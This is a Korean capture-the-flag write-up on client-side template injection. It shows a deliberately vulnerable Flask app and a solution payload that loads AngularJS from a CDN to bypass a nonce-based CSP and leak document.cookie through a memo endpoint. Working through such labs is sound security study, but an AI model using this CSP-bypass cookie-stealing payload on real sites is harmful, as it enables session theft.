[2025-08-12] Client Side Template Injection

August 12, 2025

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app.py

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)
nonce = os.urandom(16).hex()

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

@app.after_request
def add_header(response):
    global nonce
    response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'nonce-{nonce}' 'unsafe-eval' https://ajax.googleapis.com; object-src 'none'"
    nonce = os.urandom(16).hex()
    return response

@app.route("/")
def index():
    return render_template("index.html", nonce=nonce)

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return param

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html", nonce=nonce)
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return f'<script nonce={nonce}>alert("wrong??");history.go(-1);</script>'

        return f'<script nonce={nonce}>alert("good");history.go(-1);</script>'

memo_text = ""

@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text, nonce=nonce)

app.run(host="0.0.0.0", port=8000)

memo.html

  <pre>{{ memo }}</pre>

위의 코드들을 기존의 XSS 코드들과 비슷하다. 추가적으로 memo.html에서 템플릿이 사용된다.

CSP는 script-src는 script-src 'nonce-{nonce}' 'unsafe-eval' [https://ajax.googleapis.com](https://ajax.googleapis.com/); 을 허용하고 있다.

nonce가 있으니 <script src=””> 방식을 사용해야 한다. 또한 템플릿이 있고 'unsafe-eval' [https://ajax.googleapis.com](https://ajax.googleapis.com/); 을 허용하였기 때문에 AngularJS 의 Injection을 사용하면 될 것 같다

풀이

<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.3/angular.min.js"></script><html ng-app>{{ constructor.constructor("location='memo?memo='+document.cookie")() }}</html>

<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.3/angular.min.js"></script> : AngularJS 라이브러리를 불러온다.
<html ng-app> : html 태그 내에서ng-app 을 통해 ng-로시작하는 디렉티브나 {{…}} 을 찾고 자바스크립트 코드로 평가하여 HTML에 삽입
생성자를 이용하여 자바스크립트 코드 실행

[2025-08-12] Client Side Template Injection

🦥 본문

풀이

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